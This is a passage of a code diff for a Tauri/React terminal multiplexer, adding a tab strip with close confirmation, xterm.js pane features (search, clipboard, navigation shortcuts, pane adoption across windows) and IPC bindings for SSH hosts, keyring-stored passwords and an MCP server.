/* width must match CONFIRM_POPOVER_WIDTH in TabStrip.tsx (clamp math). */
width: 300px;
background: #1a1a1a;
color: #e6e6e6;
border: 1px solid #c98a1f;
border-radius: 4px;
padding: 10px 12px;
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
font-size: 11px;
white-space: normal;
box-shadow: 0 6px 24px rgba(0, 0, 0, 0.6);
cursor: default;
}
.tab-strip-confirm-title {
font-weight: 600;
color: #f0c060;
margin-bottom: 6px;
}
.tab-strip-confirm-body {
color: #ccc;
margin-bottom: 10px;
}
.tab-strip-confirm-labels {
color: #e6e6e6;
font-size: 11px;
margin-top: 4px;
word-break: break-word;
}
.tab-strip-confirm-actions {
display: flex;
justify-content: flex-end;
gap: 6px;
}
.tab-strip-confirm-btn {
font: inherit;
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
font-size: 11px;
background: #2a2a2a;
color: #ddd;
border: 1px solid #333;
border-radius: 3px;
padding: 4px 10px;
cursor: pointer;
}
.tab-strip-confirm-btn.cancel:hover {
background: #333;
}
.tab-strip-confirm-btn.destructive {
background: #4a1010;
color: #f8c0c0;
border-color: #c94040;
}
.tab-strip-confirm-btn.destructive:hover {
background: #6a1818;
color: #fff;
}

241
src/components/TabStrip.tsx Normal file
View file

@ -0,0 +1,241 @@
import {
useState,
useRef,
useEffect,
useCallback,
useMemo,
type KeyboardEvent as ReactKeyboardEvent,
type MouseEvent as ReactMouseEvent,
} from "react";
import { createPortal } from "react-dom";
import { walkLeaves, leafCount, type Workspace, type NodeId } from "../lib/layout/tree";
import "./TabStrip.css";
/** Fixed width of the close-confirm popover must match the `width` in
* TabStrip.css so the viewport-clamp math positions it accurately. */
const CONFIRM_POPOVER_WIDTH = 300;
interface TabStripProps {
workspaces: Workspace[];
currentWorkspaceId: NodeId | null;
onSwitch: (id: NodeId) => void;
onCreate: () => void;
/** Caller MUST handle PTY teardown for the tab's leaves before removing it
* from the workspaces list. TabStrip just gates the action on user
* confirm. */
onClose: (id: NodeId) => void;
onRename: (id: NodeId, name: string) => void;
}
/** Tab strip displayed above the pane area. One pill per workspace; click to
* switch, double-click name to rename, × to close (with inline confirm if
* the tab has live panes), + at the end to spawn a new blank workspace. */
export default function TabStrip({
workspaces,
currentWorkspaceId,
onSwitch,
onCreate,
onClose,
onRename,
}: TabStripProps) {
const [editingId, setEditingId] = useState<NodeId | null>(null);
const [draft, setDraft] = useState("");
const editInputRef = useRef<HTMLInputElement>(null);
const [confirmingId, setConfirmingId] = useState<NodeId | null>(null);
// Anchor rect (the close button's) for the confirm popover. The popover is
// portalled to <body> with position:fixed because the tab strip scrolls
// horizontally (overflow-x:auto, which forces overflow-y to auto too),
// so an in-strip absolutely-positioned popover would be clipped.
const [confirmAnchor, setConfirmAnchor] = useState<{
top: number;
left: number;
} | null>(null);
const startEdit = useCallback(
(id: NodeId, current: string, e: ReactMouseEvent) => {
e.stopPropagation();
setEditingId(id);
setDraft(current);
queueMicrotask(() => editInputRef.current?.select());
},
[],
);
const commitEdit = useCallback(() => {
if (editingId == null) return;
const trimmed = draft.trim();
if (trimmed) onRename(editingId, trimmed);
setEditingId(null);
}, [editingId, draft, onRename]);
const cancelEdit = useCallback(() => setEditingId(null), []);
const onEditKey = useCallback(
(e: ReactKeyboardEvent<HTMLInputElement>) => {
if (e.key === "Enter") {
e.preventDefault();
commitEdit();
} else if (e.key === "Escape") {
e.preventDefault();
cancelEdit();
}
},
[commitEdit, cancelEdit],
);
// Outside-click dismissal for the inline confirm popover.
useEffect(() => {
if (confirmingId == null) return;
const onDocClick = () => setConfirmingId(null);
// Run on next tick so the click that opened the confirm doesn't immediately close it.
const id = window.setTimeout(
() => window.addEventListener("click", onDocClick),
0,
);
return () => {
clearTimeout(id);
window.removeEventListener("click", onDocClick);
};
}, [confirmingId]);
const confirmingWorkspace = useMemo(
() => workspaces.find((w) => w.id === confirmingId) ?? null,
[workspaces, confirmingId],
);
const confirmingPaneLabels = useMemo(() => {
if (!confirmingWorkspace) return [] as string[];
return Array.from(walkLeaves(confirmingWorkspace.tree)).map(
(l) => l.label ?? l.distro ?? `(${l.shellKind})`,
);
}, [confirmingWorkspace]);
const requestClose = useCallback(
(id: NodeId, e: ReactMouseEvent) => {
e.stopPropagation();
const w = workspaces.find((ws) => ws.id === id);
if (!w) return;
// Silent close when the tab has no live panes (e.g. empty default leaf
// with no PTY yet — but every leaf has one, so effectively never zero).
// The leafCount check leaves room for a future "empty tab" state.
if (leafCount(w.tree) === 0) {
onClose(id);
return;
}
const rect = (e.currentTarget as HTMLElement).getBoundingClientRect();
// Right-align the popover to the close button by default, then clamp
// both edges into the viewport so a left-side tab doesn't push it off
// the left edge (or a right-side tab off the right).
const pad = 8;
const left = Math.max(
pad,
Math.min(
rect.right - CONFIRM_POPOVER_WIDTH,
window.innerWidth - CONFIRM_POPOVER_WIDTH - pad,
),
);
setConfirmAnchor({ top: rect.bottom + 4, left });
setConfirmingId(id);
},
[workspaces, onClose],
);
const confirmClose = useCallback(
(e: ReactMouseEvent) => {
e.stopPropagation();
if (confirmingId == null) return;
const id = confirmingId;
setConfirmingId(null);
onClose(id);
},
[confirmingId, onClose],
);
return (
<div className="tab-strip" role="tablist">
{workspaces.map((w) => {
const isActive = w.id === currentWorkspaceId;
const isEditing = editingId === w.id;
return (
<div
key={w.id}
className={`tab-strip-item${isActive ? " active" : ""}`}
role="tab"
aria-selected={isActive ? "true" : "false"}
onClick={() => onSwitch(w.id)}
onDoubleClick={(e) => startEdit(w.id, w.name, e)}
title={`Switch to ${w.name}`}
>
{isEditing ? (
<input
ref={editInputRef}
className="tab-strip-rename"
value={draft}
onChange={(e) => setDraft(e.target.value)}
onKeyDown={onEditKey}
onBlur={commitEdit}
onClick={(e) => e.stopPropagation()}
/>
) : (
<span className="tab-strip-name">{w.name}</span>
)}
<button
className="tab-strip-close"
onClick={(e) => requestClose(w.id, e)}
title="Close tab"
aria-label={`Close tab ${w.name}`}
tabIndex={-1}
>
×
</button>
</div>
);
})}
<button
className="tab-strip-add"
onClick={onCreate}
title="New tab (Ctrl+T)"
aria-label="New tab"
>
+
</button>
{confirmingId != null &&
confirmAnchor &&
createPortal(
<div
className="tab-strip-confirm"
role="dialog"
aria-label="Confirm close tab"
style={{ top: confirmAnchor.top, left: confirmAnchor.left }}
onClick={(e) => e.stopPropagation()}
>
<div className="tab-strip-confirm-title">
Close "{confirmingWorkspace?.name}"?
</div>
<div className="tab-strip-confirm-body">
This will kill {confirmingPaneLabels.length} pane
{confirmingPaneLabels.length === 1 ? "" : "s"}:
<div className="tab-strip-confirm-labels">
{confirmingPaneLabels.join(", ")}
</div>
</div>
<div className="tab-strip-confirm-actions">
<button
className="tab-strip-confirm-btn cancel"
onClick={(e) => {
e.stopPropagation();
setConfirmingId(null);
}}
>
Cancel
</button>
<button
className="tab-strip-confirm-btn destructive"
onClick={confirmClose}
>
Close tab
</button>
</div>
</div>,
document.body,
)}
</div>
);
}

View file

@ -1,7 +1,17 @@
import { useRef, useEffect } from "react";
import { useRef, useEffect, useState } from "react";
import { Terminal } from "@xterm/xterm";
import { FitAddon } from "@xterm/addon-fit";
import { WebLinksAddon } from "@xterm/addon-web-links";
import { CanvasAddon } from "@xterm/addon-canvas";
import { SearchAddon } from "@xterm/addon-search";
import { Unicode11Addon } from "@xterm/addon-unicode11";
import SearchBar from "./SearchBar";
import type { UnlistenFn } from "@tauri-apps/api/event";
import {
readText as clipboardReadText,
writeText as clipboardWriteText,
} from "@tauri-apps/plugin-clipboard-manager";
import { openUrl } from "@tauri-apps/plugin-opener";
import {
spawnPane,
writeToPane,
@ -9,8 +19,17 @@ import {
killPane,
onPaneData,
onPaneExit,
getPaneRing,
claimPane,
type PaneId,
type SpawnSpec,
} from "../ipc";
import type { NavigateIntent } from "../lib/layout/orchestration";
import {
type PaneColors,
DEFAULT_PANE_COLORS,
toXtermTheme,
} from "../lib/theme";
// ---------------------------------------------------------------------------
// base64 helpers (private to this module)
@ -39,8 +58,16 @@ function stringToB64(s: string): string {
// ---------------------------------------------------------------------------
interface XtermPaneProps {
distro?: string;
cwd?: string;
/** Spec describing what to spawn into this pane's PTY. Read once at mount;
* changing it later does NOT respawn callers force a respawn by
* changing the React `key` (see Pane.svelte / LeafPane). */
spec: SpawnSpec;
/** Attach to an existing PTY (transferred from another window) instead of
* spawning a new one. When set: spec is ignored at the spawn step, the
* scrollback ring is replayed into xterm.js, the live data listener is
* attached, and the transfer refcount is claimed (decremented) so the
* source window's killPane is no longer suppressed. */
existingPaneId?: PaneId;
onStatus?: (msg: string, ok: boolean) => void;
/** Fired once when the backend PTY is alive and we have its PaneId. */
onSpawn?: (paneId: PaneId) => void;
@ -52,23 +79,51 @@ interface XtermPaneProps {
onFocus?: () => void;
/** Increment to refocus the terminal programmatically (palette etc.). */
focusTrigger?: number;
/** Absolute font size in px. Changes are applied live (fit + PTY resize). */
fontSize?: number;
/** Fully-resolved terminal colours (global theme merged with any per-pane
* override). Changes are applied live to the running terminal. */
colors?: Required<PaneColors>;
/** Called when the user presses a tiling-WM navigation chord inside the
* terminal. XtermPane only emits the intent; the parent (LeafPane/App)
* resolves the target leaf from the current layout and sets it active.
* Defined as an optional callback so single-pane windows don't require
* wiring it up. */
onNavigate?: (intent: NavigateIntent) => void;
}
const DEFAULT_XTERM_FONT_SIZE = 13;
// ---------------------------------------------------------------------------
// Component
// ---------------------------------------------------------------------------
export default function XtermPane({
distro,
cwd,
spec,
existingPaneId,
onStatus,
onSpawn,
onInput,
onDataReceived,
onFocus,
focusTrigger = 0,
fontSize,
colors,
onNavigate,
}: XtermPaneProps) {
const containerRef = useRef<HTMLDivElement>(null);
const termRef = useRef<Terminal | null>(null);
const fitRef = useRef<FitAddon | null>(null);
const paneIdRef = useRef<PaneId | null>(null);
const searchAddonRef = useRef<SearchAddon | null>(null);
const [searchOpen, setSearchOpen] = useState(false);
// Stash the most recent `fontSize` prop so the mount effect can pick
// up the initial value without re-running when it changes (the secondary
// effect below handles dynamic updates).
const initialFontSizeRef = useRef(fontSize);
// Same trick for the initial theme — the mount effect reads this once; the
// secondary effect below applies later changes live.
const initialColorsRef = useRef(colors);
// Stable refs for callbacks so the mount effect doesn't need to re-run when
// parents pass new inline functions, while still always calling the latest version.
@ -77,12 +132,18 @@ export default function XtermPane({
const onInputRef = useRef(onInput);
const onDataReceivedRef = useRef(onDataReceived);
const onFocusRef = useRef(onFocus);
const onNavigateRef = useRef(onNavigate);
// Stable ref for setSearchOpen so it can be called from inside the
// attachCustomKeyEventHandler closure without the closure going stale.
const setSearchOpenRef = useRef<(v: boolean) => void>(setSearchOpen);
useEffect(() => { onStatusRef.current = onStatus; }, [onStatus]);
useEffect(() => { onSpawnRef.current = onSpawn; }, [onSpawn]);
useEffect(() => { onInputRef.current = onInput; }, [onInput]);
useEffect(() => { onDataReceivedRef.current = onDataReceived; }, [onDataReceived]);
useEffect(() => { onFocusRef.current = onFocus; }, [onFocus]);
useEffect(() => { onNavigateRef.current = onNavigate; }, [onNavigate]);
useEffect(() => { setSearchOpenRef.current = setSearchOpen; }, [setSearchOpen]);
// -------------------------------------------------------------------------
// Mount / unmount: create terminal, spawn PTY, wire listeners
@ -93,21 +154,70 @@ export default function XtermPane({
let term: Terminal | null = new Terminal({
fontFamily: '"Cascadia Mono", "JetBrains Mono", "Consolas", monospace',
fontSize: 13,
fontSize: initialFontSizeRef.current ?? DEFAULT_XTERM_FONT_SIZE,
cursorBlink: true,
theme: {
background: "#0c0c0c",
foreground: "#e6e6e6",
},
// Theme is resolved by the parent (global default merged with any
// per-pane override) and applied live by the effect below. The fixed
// slice — softened white/brightWhite that tame the Claude TUI's
// emphasis slots so nothing hits glaring pure white — lives in
// toXtermTheme / BASE_XTERM_THEME (see lib/theme.ts).
theme: toXtermTheme(initialColorsRef.current ?? DEFAULT_PANE_COLORS),
scrollback: 5000,
convertEol: false,
allowProposedApi: true,
});
termRef.current = term;
const fit = new FitAddon();
fitRef.current = fit;
term.loadAddon(fit);
// Underlines http(s) URLs in the terminal output and routes clicks
// through Tauri's opener plugin so they open in the user's default
// browser (WebView2 won't navigate on a plain window.open).
term.loadAddon(
new WebLinksAddon((_event, uri) => {
void openUrl(uri).catch((err) =>
console.warn("openUrl failed:", err),
);
}),
);
term.open(container);
// Use the canvas renderer instead of xterm's default DOM renderer.
// The DOM renderer draws the cursor as a separate layered element and,
// under the Claude TUI's rapid hide/show (\x1b[?25l/h) + cursorBlink,
// leaves a stale cursor block frozen where the cursor used to be (the
// "stuck white marker"). The canvas renderer composites the cursor into
// the same surface as the text, so hide/show transitions clear cleanly.
// Chosen over the WebGL addon because tiletopia runs many panes at once
// and Chromium/WebView2 caps live WebGL contexts (~16) — canvas has no
// such hard limit. Loaded after open() so the core renderer exists.
try {
term.loadAddon(new CanvasAddon());
} catch (e) {
// If canvas init fails for any reason, xterm falls back to the DOM
// renderer on its own — degrade gracefully rather than blank the pane.
console.warn("CanvasAddon load failed; using DOM renderer:", e);
}
// Load Unicode 11 addon for correct width handling of emoji, CJK, and
// box-drawing characters. This prevents cursor drift in TUIs that rely on
// Unicode 11 character widths. Loaded after CanvasAddon so the renderer
// surface is set before width calculations begin.
try {
term.loadAddon(new Unicode11Addon());
term.unicode.activeVersion = "11";
} catch (e) {
console.warn("Unicode11Addon load failed:", e);
}
// Load the search addon so find-in-scrollback works. Must be loaded
// after open() so the terminal viewport exists for decoration rendering,
// and after CanvasAddon since it decorates the same canvas surface.
const search = new SearchAddon();
searchAddonRef.current = search;
term.loadAddon(search);
// Initial size — fit before asking the PTY for its dimensions.
fit.fit();
@ -121,32 +231,98 @@ export default function XtermPane({
const cols = term!.cols;
const rows = term!.rows;
try {
paneId = await spawnPane({ distro, cwd, cols, rows });
if (existingPaneId != null) {
// Adoption path: a window-transfer landed us here with an existing
// PTY id. Don't spawn — replay the scrollback ring first (so the
// user sees recent output like a thinking Claude session), then
// attach the live listener, resize the PTY to this window's grid,
// and release the transfer-refcount.
paneId = existingPaneId;
paneIdRef.current = paneId;
onStatusRef.current?.(`pane ${paneId} adopted`, true);
onSpawnRef.current?.(paneId);
try {
const ringB64 = await getPaneRing(paneId);
if (destroyed) return;
if (ringB64) {
term?.write(b64ToBytes(ringB64));
}
} catch (e) {
console.warn("getPaneRing failed:", e);
}
if (destroyed) return;
unlistenData = await onPaneData(paneId, (b64) => {
term?.write(b64ToBytes(b64));
onDataReceivedRef.current?.();
});
// `destroyed` may have flipped during the await — the sync cleanup
// already ran and captured a null unlisten, so unlisten here or the
// subscription leaks.
if (destroyed) {
void killPane(paneId);
unlistenData?.();
return;
}
unlistenExit = await onPaneExit(paneId, () => {
term?.write("\r\n\x1b[33m[pane exited]\x1b[0m\r\n");
onStatusRef.current?.(`pane ${paneId} exited`, false);
});
if (destroyed) {
unlistenData?.();
unlistenExit?.();
return;
}
// Match the PTY to our cell grid (the source window may have had
// different dimensions).
try {
await resizePane(paneId, cols, rows);
} catch (e) {
console.warn("resizePane on adopt failed:", e);
}
// Release the transfer refcount so future killPane calls on this
// id are no longer suppressed.
try {
await claimPane(paneId);
} catch (e) {
console.warn("claimPane failed:", e);
}
} else {
try {
paneId = await spawnPane({ spec, cols, rows });
if (destroyed) {
void killPane(paneId);
return;
}
paneIdRef.current = paneId;
onStatusRef.current?.(`pane ${paneId} alive`, true);
onSpawnRef.current?.(paneId);
} catch (e) {
if (destroyed) return;
const msg = `spawn_pane failed: ${e}`;
term?.write(`\r\n\x1b[31m${msg}\x1b[0m\r\n`);
onStatusRef.current?.(msg, false);
return;
}
unlistenData = await onPaneData(paneId, (b64) => {
term?.write(b64ToBytes(b64));
onDataReceivedRef.current?.();
});
if (destroyed) {
unlistenData?.();
return;
}
unlistenExit = await onPaneExit(paneId, () => {
term?.write("\r\n\x1b[33m[pane exited]\x1b[0m\r\n");
onStatusRef.current?.(`pane ${paneId} exited`, false);
});
if (destroyed) {
unlistenData?.();
unlistenExit?.();
return;
}
onStatusRef.current?.(`pane ${paneId} alive`, true);
onSpawnRef.current?.(paneId);
} catch (e) {
if (destroyed) return;
const msg = `spawn_pane failed: ${e}`;
term?.write(`\r\n\x1b[31m${msg}\x1b[0m\r\n`);
onStatusRef.current?.(msg, false);
return;
}
unlistenData = await onPaneData(paneId, (b64) => {
term?.write(b64ToBytes(b64));
onDataReceivedRef.current?.();
});
unlistenExit = await onPaneExit(paneId, () => {
term?.write("\r\n\x1b[33m[pane exited]\x1b[0m\r\n");
onStatusRef.current?.(`pane ${paneId} exited`, false);
});
term?.onData((data) => {
if (paneId == null) return;
const b64 = stringToB64(data);
@ -154,6 +330,103 @@ export default function XtermPane({
onInputRef.current?.(b64);
});
// Intercept tiling-WM chords before the PTY sees them. All families
// share ONE attachCustomKeyEventHandler call — xterm.js replaces the
// previous handler on every call, so a second call anywhere would
// silently discard all earlier interceptions.
//
// Family 1: Ctrl+Shift+C / Ctrl+Shift+V — copy selection / paste.
// Uses tauri-plugin-clipboard-manager so WebView2 never shows its
// native "Allow clipboard access?" prompt. term.paste() routes
// through onData → writeToPane so broadcasting + bracketed paste
// keep working for free.
//
// Family 2: Ctrl+Shift+F — open/focus the find-in-scrollback bar.
// Swallowed before xterm or the PTY sees the raw keypress. Uses the
// stable setSearchOpenRef so the closure never goes stale.
//
// Family 3: Ctrl+Alt+Arrow / Ctrl+Alt+H/J/K/L — spatial pane focus.
// XtermPane emits onNavigate({ kind: "direction", dir }) and returns
// false so the chord is swallowed before it reaches the PTY. The
// parent (LeafPane → App) resolves the neighbour and bumps
// focusTrigger on the new active pane.
//
// Family 4: Alt+1..9 — index-based pane focus.
// Emits onNavigate({ kind: "index", n }) and swallows. Note: bare
// Alt+digit is used by some shells (readline digit-argument, vim/nvim)
// — this interception is an accepted v1 trade-off (see shortcuts.ts).
term?.attachCustomKeyEventHandler((e) => {
if (e.type !== "keydown") return true;
// --- Family 1 & 2: Ctrl+Shift+* (no Alt) ---------------------------
if (e.ctrlKey && e.shiftKey && !e.altKey) {
if (e.code === "KeyF") {
// Ctrl+Shift+F — open find-in-scrollback bar.
e.preventDefault();
setSearchOpenRef.current(true);
return false;
}
if (e.code === "KeyC") {
// Ctrl+Shift+C — copy selection to clipboard.
const sel = term?.getSelection();
if (sel) {
void clipboardWriteText(sel).catch((err) =>
console.warn("clipboard write failed:", err),
);
}
e.preventDefault();
return false;
}
if (e.code === "KeyV") {
// Ctrl+Shift+V — paste from clipboard via term.paste() so
// broadcasting and bracketed paste work for free.
e.preventDefault();
clipboardReadText()
.then((text) => {
if (text && term) term.paste(text);
})
.catch((err) => console.warn("clipboard read failed:", err));
return false;
}
}
// --- Family 3: Ctrl+Alt+Arrow / Ctrl+Alt+H/J/K/L (spatial nav) -----
if (e.ctrlKey && e.altKey && !e.shiftKey && onNavigateRef.current) {
// Arrow keys
const ARROW_DIR: Record<string, "left" | "right" | "up" | "down"> = {
ArrowLeft: "left",
ArrowRight: "right",
ArrowUp: "up",
ArrowDown: "down",
};
// Vim-style HJKL
const VIM_DIR: Record<string, "left" | "right" | "up" | "down"> = {
KeyH: "left",
KeyJ: "down",
KeyK: "up",
KeyL: "right",
};
const dir = ARROW_DIR[e.code] ?? VIM_DIR[e.code];
if (dir) {
e.preventDefault();
onNavigateRef.current({ kind: "direction", dir });
return false;
}
}
// --- Family 4: Alt+1..9 (index-based pane focus) -------------------
if (e.altKey && !e.ctrlKey && !e.shiftKey && onNavigateRef.current) {
const digit = e.code.match(/^Digit([1-9])$/);
if (digit) {
e.preventDefault();
onNavigateRef.current({ kind: "index", n: parseInt(digit[1], 10) });
return false;
}
}
return true;
});
// Focus detection: xterm.js doesn't expose onFocus as a first-class event
// in all versions, so try the proposed API first then fall back to the DOM.
term?.onSelectionChange(() => {}); // ensure addon system is initialised; noop
@ -165,21 +438,60 @@ export default function XtermPane({
if (ta) ta.addEventListener("focus", () => onFocusRef.current?.(), true);
}
// Re-fit on container resize; forward new size to the PTY.
// Re-fit on container resize. xterm.fit() + a forced refresh run
// immediately (visual must stay smooth during a drag), but the
// actual PTY resize call is debounced: every SIGWINCH makes bash
// redraw the prompt, and if we send 60+ of them per second during a
// gutter drag, the redraws corrupt each other and the terminal
// fills with garbled half-prompts. The debounce means the PTY
// hears about resizes ~150 ms after you stop dragging, at the
// final size — bash gets a single clean redraw.
let resizeRaf: number | null = null;
let resizePtyTimer: number | null = null;
let lastSentCols = -1;
let lastSentRows = -1;
ro = new ResizeObserver(() => {
try {
fit.fit();
if (paneId != null && term) {
void resizePane(paneId, term.cols, term.rows);
if (resizeRaf != null) return;
resizeRaf = requestAnimationFrame(() => {
resizeRaf = null;
if (!term) return;
try {
fit.fit();
term.refresh(0, term.rows - 1);
if (resizePtyTimer != null) clearTimeout(resizePtyTimer);
resizePtyTimer = window.setTimeout(() => {
resizePtyTimer = null;
if (paneId == null || !term) return;
// Skip if the cell grid didn't actually change — saves a
// pointless SIGWINCH that would make bash redraw its prompt
// (which feeds back into onDataReceived and causes the idle
// indicator to flap; see the analysis around v0.2.2).
if (term.cols === lastSentCols && term.rows === lastSentRows) {
return;
}
lastSentCols = term.cols;
lastSentRows = term.rows;
void resizePane(paneId, term.cols, term.rows);
}, 150);
} catch (e) {
console.warn("resize failed", e);
}
} catch (e) {
console.warn("resize failed", e);
}
});
});
ro.observe(container);
// Focus so typing immediately lands in the terminal.
term?.focus();
// Focus so typing immediately lands in the terminal — but ONLY if the
// host container is actually visible. With multiple tabs (workspaces),
// a pane in a hidden tab still mounts and spawns; we must not yank
// focus into a tab the user can't see. CSS `visibility: hidden` is
// inherited, so the computed style on the container reflects whether
// any ancestor (workspace-layer) is hiding us.
if (
container.isConnected &&
getComputedStyle(container).visibility !== "hidden"
) {
term?.focus();
}
})();
return () => {
@ -190,22 +502,20 @@ export default function XtermPane({
if (paneId != null) void killPane(paneId);
term?.dispose();
term = null;
termRef.current = null;
fitRef.current = null;
searchAddonRef.current = null;
paneIdRef.current = null;
};
// distro/cwd are only used at spawn time; intentionally omitted from deps
// so remounting doesn't happen if a parent re-renders with the same values.
// spec is read once at mount; intentionally omitted from deps so we
// don't remount on parent re-renders. Callers force a respawn by
// bumping the React `key` (changeShell swaps the leaf id for that).
// eslint-disable-next-line react-hooks/exhaustive-deps
}, []);
// -------------------------------------------------------------------------
// focusTrigger: programmatic refocus from parent (palette navigation etc.)
// -------------------------------------------------------------------------
const termRef = useRef<Terminal | null>(null);
// Keep termRef in sync via a second effect that runs after mount.
// We can't easily share the Terminal instance across the two effects without
// a ref, so we store it on termRef inside the mount effect instead.
// Actually, let's just wire focusTrigger by querying the textarea directly —
// that avoids the cross-effect coupling problem entirely.
useEffect(() => {
if (focusTrigger > 0 && containerRef.current) {
const ta = containerRef.current.querySelector<HTMLTextAreaElement>(
@ -215,8 +525,77 @@ export default function XtermPane({
}
}, [focusTrigger]);
// Suppress unused ref warning
void termRef;
// -------------------------------------------------------------------------
// Live font-size changes (Ctrl+Shift+= / - / 0).
//
// Setting term.options.fontSize re-rasterises glyphs immediately, but the
// cols/rows the terminal thinks it has are still based on the OLD cell
// size — so we have to fit() to recompute, refresh() to repaint, then
// ship the new dimensions to the PTY so bash redraws the prompt at the
// right width.
// -------------------------------------------------------------------------
useEffect(() => {
const term = termRef.current;
const fit = fitRef.current;
if (!term || !fit) return;
const target = fontSize ?? DEFAULT_XTERM_FONT_SIZE;
if (term.options.fontSize === target) return;
try {
term.options.fontSize = target;
fit.fit();
term.refresh(0, term.rows - 1);
const paneId = paneIdRef.current;
if (paneId != null) void resizePane(paneId, term.cols, term.rows);
} catch (e) {
console.warn("font-size apply failed", e);
}
}, [fontSize]);
return <div ref={containerRef} style={{ width: "100%", height: "100%" }} />;
// -------------------------------------------------------------------------
// Live colour-theme changes (global theme edit, per-pane override, preset).
//
// Setting term.options.theme re-tints the renderer immediately; a refresh
// forces the canvas surface to repaint already-drawn cells with the new
// palette (xterm only re-tints on the next write otherwise). Cell geometry
// is unaffected, so no fit()/resize is needed — unlike the font-size path.
// -------------------------------------------------------------------------
useEffect(() => {
const term = termRef.current;
if (!term || !colors) return;
try {
term.options.theme = toXtermTheme(colors);
term.refresh(0, term.rows - 1);
} catch (e) {
console.warn("theme apply failed", e);
}
// Depend on the individual fields rather than the object identity so a
// parent that rebuilds an equal colours object each render doesn't churn.
}, [colors?.background, colors?.foreground, colors?.cursor, colors?.selection]);
// Close the search bar and return focus to the xterm textarea so the user
// can resume typing immediately. Queries the well-known xterm helper
// textarea selector — the same pattern used in the focusTrigger effect.
function closeSearch() {
setSearchOpen(false);
const ta = containerRef.current?.querySelector<HTMLTextAreaElement>(
".xterm-helper-textarea",
);
ta?.focus();
}
// The outer wrapper is position:relative so the absolutely-positioned
// SearchBar anchors inside the pane without escaping to a positioned
// ancestor further up the tree. The FitAddon measures containerRef's div
// (the inner one), which still fills 100% of the wrapper — no sizing break.
return (
<div style={{ position: "relative", width: "100%", height: "100%" }}>
<div ref={containerRef} style={{ width: "100%", height: "100%" }} />
{searchOpen && searchAddonRef.current && (
<SearchBar
searchAddon={searchAddonRef.current}
onClose={closeSearch}
/>
)}
</div>
);
}

View file

@ -3,11 +3,44 @@ import { listen, type UnlistenFn } from "@tauri-apps/api/event";
export type PaneId = number;
/** What to spawn into a fresh PTY. Mirrors the Rust `SpawnSpec` enum. */
export type SpawnSpec =
| { kind: "wsl"; distro?: string; cwd?: string }
| { kind: "powershell" }
| {
kind: "ssh";
host: string;
user?: string;
port?: number;
identityFile?: string;
jumpHost?: string;
extraArgs?: string[];
/** Backend uses this to look up a saved password from keyring at
* spawn time. Never echoed back to the frontend. */
hostId?: string;
};
/** One saved SSH host. Mirrors the Rust `SshHost` struct (plus the
* `hasPassword` flag that the backend sets when listing). */
export interface SshHost {
id: string;
label: string;
hostname: string;
user?: string;
port?: number;
identityFile?: string;
jumpHost?: string;
extraArgs?: string[];
/** True iff a credential is stored under this host's id in the system
* keyring. Set by the backend on `list_ssh_hosts`; the field is
* ignored on `save_ssh_hosts` (use the password commands below). */
hasPassword?: boolean;
}
export const listDistros = (): Promise<string[]> => invoke("list_distros");
export const spawnPane = (args: {
distro?: string;
cwd?: string;
spec: SpawnSpec;
cols: number;
rows: number;
}): Promise<PaneId> => invoke("spawn_pane", args);
@ -20,6 +53,53 @@ export const resizePane = (id: PaneId, cols: number, rows: number): Promise<void
export const killPane = (id: PaneId): Promise<void> => invoke("kill_pane", { id });
/** Increment the "do not kill" transfer refcount for a pane. Source window
* calls this BEFORE removing the leaf from its tree so the unmount-driven
* kill_pane on the source becomes a no-op until the target window's
* XtermPane has claimed it. */
export const markPaneTransferring = (id: PaneId): Promise<void> =>
invoke("mark_pane_transferring", { id });
/** Decrement the transfer refcount. Target window's XtermPane calls this
* after subscribing to pane://{id}/data and replaying the ring snapshot. */
export const claimPane = (id: PaneId): Promise<void> =>
invoke("claim_pane", { id });
/** Snapshot of the per-pane scrollback ring as base64. Target window's
* XtermPane writes it into xterm.js before attaching the live data
* listener so a transferred pane doesn't open blank. */
export const getPaneRing = (id: PaneId): Promise<string> =>
invoke("get_pane_ring", { id });
// ---- multi-window pane transfer -------------------------------------------
export interface PendingInit {
leafJson: string;
paneId: PaneId;
workspaceName: string;
}
/** Open a new window and stash the pending-init payload keyed by the new
* window's label. Returns the new label. */
export const createPaneWindow = (payload: PendingInit): Promise<string> =>
invoke("create_pane_window", { payload });
/** Read and remove the pending-init for the current window. Null when there
* is no pending payload (main window startup, or this call already
* consumed it). */
export const takePendingWindowInit = (
label: string,
): Promise<PendingInit | null> =>
invoke("take_pending_window_init", { label });
/** Push this window's workspaces snapshot to the backend aggregator. The
* backend debounces and writes the merged envelope to workspace.json. */
export const pushWindowWorkspaces = (
label: string,
workspacesJson: string,
): Promise<void> =>
invoke("push_window_workspaces", { label, workspacesJson });
export const onPaneData = (
id: PaneId,
cb: (b64: string) => void,
@ -38,3 +118,132 @@ export const saveWorkspace = (json: string): Promise<void> =>
export const loadWorkspace = (): Promise<string | null> =>
invoke("load_workspace");
// ---- SSH hosts -------------------------------------------------------------
export const listSshHosts = (): Promise<SshHost[]> => invoke("list_ssh_hosts");
export const saveSshHosts = (hosts: SshHost[]): Promise<void> =>
invoke("save_ssh_hosts", { hosts });
/** Store / replace the saved password for this host id. Plaintext is
* IPC'd to the Rust side (in-process, no disk hop) and immediately
* written to Windows Credential Manager (DPAPI). */
export const setHostPassword = (hostId: string, password: string): Promise<void> =>
invoke("set_host_password", { hostId, password });
export const deleteHostPassword = (hostId: string): Promise<void> =>
invoke("delete_host_password", { hostId });
export const hasHostPassword = (hostId: string): Promise<boolean> =>
invoke("has_host_password", { hostId });
// ---- MCP server -----------------------------------------------------------
export interface McpStatus {
running: boolean;
url: string | null;
token: string | null;
}
/** Shape of the cached mirror we push to the backend on every workspace
* change. Mirrors src-tauri/src/mcp.rs `McpMirror`. */
export interface McpMirror {
layoutJson: string;
/** Only includes leaves with mcpAllow === true. */
leaves: Record<string, McpMirroredLeaf>;
hosts: McpMirroredHost[];
}
export interface McpMirroredLeaf {
paneId: number | null;
label?: string;
shellKind: "wsl" | "powershell" | "ssh";
distro?: string;
sshHostId?: string;
broadcast: boolean;
active: boolean;
}
export interface McpMirroredHost {
id: string;
label: string;
hostname: string;
user?: string;
port?: number;
hasPassword: boolean;
}
export const mcpStart = (): Promise<McpStatus> => invoke("mcp_start");
export const mcpStop = (): Promise<McpStatus> => invoke("mcp_stop");
export const mcpStatus = (): Promise<McpStatus> => invoke("mcp_status");
export const mcpRegenerateToken = (): Promise<McpStatus> =>
invoke("mcp_regenerate_token");
export const mcpUpdateState = (mirror: McpMirror): Promise<void> =>
